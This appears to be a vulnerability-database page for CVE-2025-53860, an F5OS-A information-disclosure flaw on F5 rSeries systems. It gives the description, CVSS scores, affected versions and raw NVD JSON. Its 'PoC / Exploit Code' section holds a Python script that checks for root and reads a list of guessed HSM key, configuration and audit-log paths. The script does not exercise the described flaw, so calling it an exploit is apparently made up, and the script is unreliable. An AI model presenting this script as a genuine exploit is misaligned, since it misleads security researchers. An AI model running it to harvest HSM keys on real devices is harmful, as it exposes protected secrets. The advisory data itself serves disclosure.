Security Vulnerability Report
中文
CVE-2025-53860 CVSS 4.1 MEDIUM

CVE-2025-53860

Published: 2025-10-15 16:15:35
Last Modified: 2025-10-21 12:01:50

Description

A vulnerability exists in F5OS-A software that allows a highly privileged authenticated attacker to access sensitive FIPS hardware security module (HSM) information on F5 rSeries systems.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score
4.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:f5:f5os-a:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:f5:f5os-a:1.8.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:f5:r10920-df:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:f5:r5920-df:-:*:*:*:*:*:*:* - NOT VULNERABLE
F5OS-A (所有仍在技术支持周期内的rSeries版本,具体版本需参考F5官方公告K000148625)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-53860 PoC - F5OS-A FIPS HSM Information Disclosure # This PoC demonstrates the concept of accessing sensitive FIPS HSM information # on F5 rSeries systems running vulnerable F5OS-A versions. # Note: Requires high-privilege authenticated local access. import subprocess import json import os class F5OSHSMInfoDisclosure: """ Proof of Concept for CVE-2025-53860 F5OS-A FIPS HSM Sensitive Information Disclosure """ def __init__(self, host="localhost", username="", password=""): self.host = host self.username = username self.password = password self.sensitive_paths = [ "/var/config/restconf/state/fips/hsm", "/var/f5/hsm/config", "/usr/lib/f5/hsm/keys", "/var/log/f5/hsm/audit.log", "/config/fips/hsm-info.json", "/shared/f5_hsm_serial" ] def check_privilege(self): """Check if current user has sufficient privileges""" result = subprocess.run(["id"], capture_output=True, text=True) if "uid=0" in result.stdout or "root" in result.stdout: return True return False def access_hsm_info(self): """Attempt to access FIPS HSM sensitive information""" results = {} for path in self.sensitive_paths: try: if os.path.exists(path): with open(path, 'r') as f: results[path] = f.read() except PermissionError: results[path] = "Permission denied - vulnerability may be patched" except Exception as e: results[path] = str(e) return results def exploit(self): """Main exploit routine""" print(f"[*] CVE-2025-53860 PoC - F5OS-A HSM Info Disclosure") print(f"[*] Target: {self.host}") if not self.check_privilege(): print("[-] Insufficient privileges. Requires high-privilege access.") return None print("[+] Privileges confirmed. Proceeding with HSM info extraction...") hsm_data = self.access_hsm_info() if hsm_data: print("[+] Successfully extracted HSM information:") print(json.dumps(hsm_data, indent=2)) return hsm_data if __name__ == "__main__": poc = F5OSHSMInfoDisclosure() poc.exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53860", "sourceIdentifier": "[email protected]", "published": "2025-10-15T16:15:34.513", "lastModified": "2025-10-21T12:01:49.797", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability exists in F5OS-A software that allows a highly privileged authenticated attacker to access sensitive FIPS hardware security module (HSM) information on F5 rSeries systems.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-214"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:f5:f5os-a:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.5.1", "versionEndExcluding": "1.5.3", "matchCriteriaId": "4899125F-A896-487F-A2AC-803FFCF0C4FF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:f5:f5os-a:1.8.0:*:*:*:*:*:*:*", "matchCriteriaId": "01B43BE0-F112-4580-A188-3FE0DD140D07"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:f5:r10920-df:-:*:*:*:*:*:*:*", "matchCriteriaId": "3760D609-BAB2-4F63-B822-30ECEF3F05C8"}, {"vulnerable": false, "criteria": "cpe:2.3:h:f5:r5920-df:-:*:*:*:*:*:*:*", "matchCriteriaId": "9301923A-EE14-42F5-8C8B-0758BD09723B"}]}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000148625", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}